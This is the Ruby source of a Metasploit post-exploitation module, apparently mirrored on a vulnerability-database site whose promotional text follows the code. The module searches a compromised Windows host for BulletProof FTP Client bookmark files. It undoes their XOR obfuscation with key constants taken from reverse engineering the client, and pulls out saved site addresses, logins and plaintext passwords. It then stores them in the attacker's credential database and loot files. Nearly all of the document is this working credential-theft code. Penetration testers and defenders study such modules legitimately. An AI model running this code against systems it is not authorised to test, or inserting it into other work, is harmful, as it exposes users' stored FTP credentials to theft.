##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
'Description' => %q{
This module extracts information from BulletProof FTP Bookmarks files and store
retrieved credentials in the database.
},
'License' => MSF_LICENSE,
'Author' => [ 'juan vazquez'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
]
}
}
)
)
end
class BookmarksParser
# Array of entries found after parsing a Bookmarks File
attr_accessor :entries
def initialize(contents)
@xor_key = nil
@contents_bookmark = contents
@entries = []
end
def parse_bookmarks
if !parse_header
return
end
until @contents_bookmark.empty?
parse_entry
@contents_bookmark.slice!(0, 25) # 25 null bytes between entries
end
end
private
def low_dword(value)
return Rex::Text.pack_int64le(value).unpack('VV')[0]
end
def high_dword(value)
return Rex::Text.pack_int64le(value).unpack('VV')[1]
end
def low_byte(value)
return [value].pack('V').unpack('C*')[0]
end
def generate_xor_key
# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
# .text:007B13C1 mov eax, 100h
# ... later
# .text:0040381F imul edx, dword_7EF008[ebx], 8088405h
# .text:00403829 inc edx
# .text:0040382A mov dword_7EF008[ebx], edx
# .text:00403830 mul edx
temp = @xor_key * 0x8088405
temp = low_dword(temp)
temp += 1
@xor_key = temp
result = temp * 0x100
result = high_dword(result)
result = low_byte(result)
return result
end
def decrypt(encrypted)
length = encrypted.unpack('C')[0]
return '' if length.nil?
@xor_key = length
encrypted = encrypted[1..length]
return '' if encrypted.length != length
decrypted = ''
encrypted.unpack('C*').each do |byte|
key = generate_xor_key
decrypted << [byte ^ key].pack('C')
end
return decrypted
end
def parse_object
object_length = @contents_bookmark[0, 1].unpack('C')[0]
object = @contents_bookmark[0, object_length + 1]
@contents_bookmark.slice!(0, object_length + 1)
content = decrypt(object)
return content
end
def parse_entry
site_name = parse_object
site_address = parse_object
login = parse_object
remote_dir = parse_object
local_dir = parse_object
port = parse_object
password = parse_object
@entries << {
site_name: site_name,
site_address: site_address,
login: login,
remote_dir: remote_dir,
local_dir: local_dir,
port: port,
password: password
}
end
def parse_header
signature = parse_object
if !signature.eql?('BPSitelist')
return false # Error!
end
unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
return false unless unknown == "\x01\x00\x00\x00"
return true
end
end
def check_installation
bullet_reg = 'HKCU\\SOFTWARE\\BulletProof Software'
bullet_reg_ver = registry_enumkeys(bullet_reg.to_s)
return false if bullet_reg_ver.nil?
bullet_reg_ver.each do |key|
if key =~ /BulletProof FTP Client/
return true
end
end
return false
end
def get_bookmarks(path)
bookmarks = []
if !directory?(path)
return bookmarks
end
session.fs.dir.foreach(path) do |entry|
if directory?("#{path}\\#{entry}") && (entry != '.') && (entry != '..')
bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
elsif entry =~ (/bpftp.dat/) && file?("#{path}\\#{entry}")
vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
bookmarks << "#{path}\\#{entry}"
end
end
return bookmarks
end
def check_bulletproof(user_dir)
session.fs.dir.foreach(user_dir) do |directory|
if directory =~ /BulletProof Software/
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
return "#{user_dir}\\#{directory}" # "\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
end
end
return nil
end
def report_findings(entries)
entries.each do |entry|
@credentials << [
entry[:site_name],
entry[:site_address],
entry[:port],
entry[:login],
entry[:password],
entry[:remote_dir],
entry[:local_dir]
]
service_data = {
address: Rex::Socket.getaddress(entry[:site_address]),
port: entry[:port],
protocol: 'tcp',
service_name: 'ftp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: entry[:login],
private_data: entry[:password],
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
end
def run
print_status('Checking if BulletProof FTP Client is installed...')
if !check_installation
print_error("BulletProof FTP Client isn't installed")
return
end
print_status('Searching BulletProof FTP Client Data directories...')
# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
profiles = grab_user_profiles
bullet_paths = []
profiles.each do |user|
next if user['LocalAppData'].nil?
bulletproof_dir = check_bulletproof(user['LocalAppData'])
bullet_paths << bulletproof_dir if bulletproof_dir
end
print_status('Searching BulletProof FTP Client installation directory...')
# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
progfilesx86 = progfiles_env['ProgramFiles(X86)']
if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/
program_files = progfilesx86 # x64
else
program_files = progfiles_env['ProgramFiles'] # x86
end
session.fs.dir.foreach(program_files) do |dir|
if dir =~ /BulletProof FTP Client/
vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
bullet_paths << "#{program_files}\\#{dir}"
end
end
if bullet_paths.empty?
print_error('BulletProof FTP Client directories not found.')
return
end
print_status('Searching for BulletProof FTP Client Bookmarks files...')
bookmarks = []
bullet_paths.each do |path|
bookmarks.concat(get_bookmarks(path))
end
if bookmarks.empty?
print_error('BulletProof FTP Client Bookmarks files not found.')
return
end
print_status('Searching for connections data on BulletProof FTP Client Bookmarks files...')
entries = []
bookmarks.each do |bookmark|
p = BookmarksParser.new(read_file(bookmark))
p.parse_bookmarks
if !p.entries.empty?
entries.concat(p.entries)
else
vprint_error("Entries not found on #{bookmark}")
end
end
if entries.empty?
print_error('BulletProof FTP Client Bookmarks not found.')
return
end
# Report / Show findings
@credentials = Rex::Text::Table.new(
'Header' => 'BulletProof FTP Client Bookmarks',
'Indent' => 1,
'Columns' =>
[
'Site Name',
'Site Address',
'Port',
'Login',
'Password',
'Remote Dir',
'Local Dir'
]
)
report_findings(entries)
results = @credentials.to_s
print_line("\n" + results + "\n")
if [email protected]?
p = store_loot(
'bulletproof.creds',
'text/plain',
session,
@credentials.to_csv,
'bulletproof.creds.csv',
'BulletProof Credentials'
)
print_status("Data stored in: #{p}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation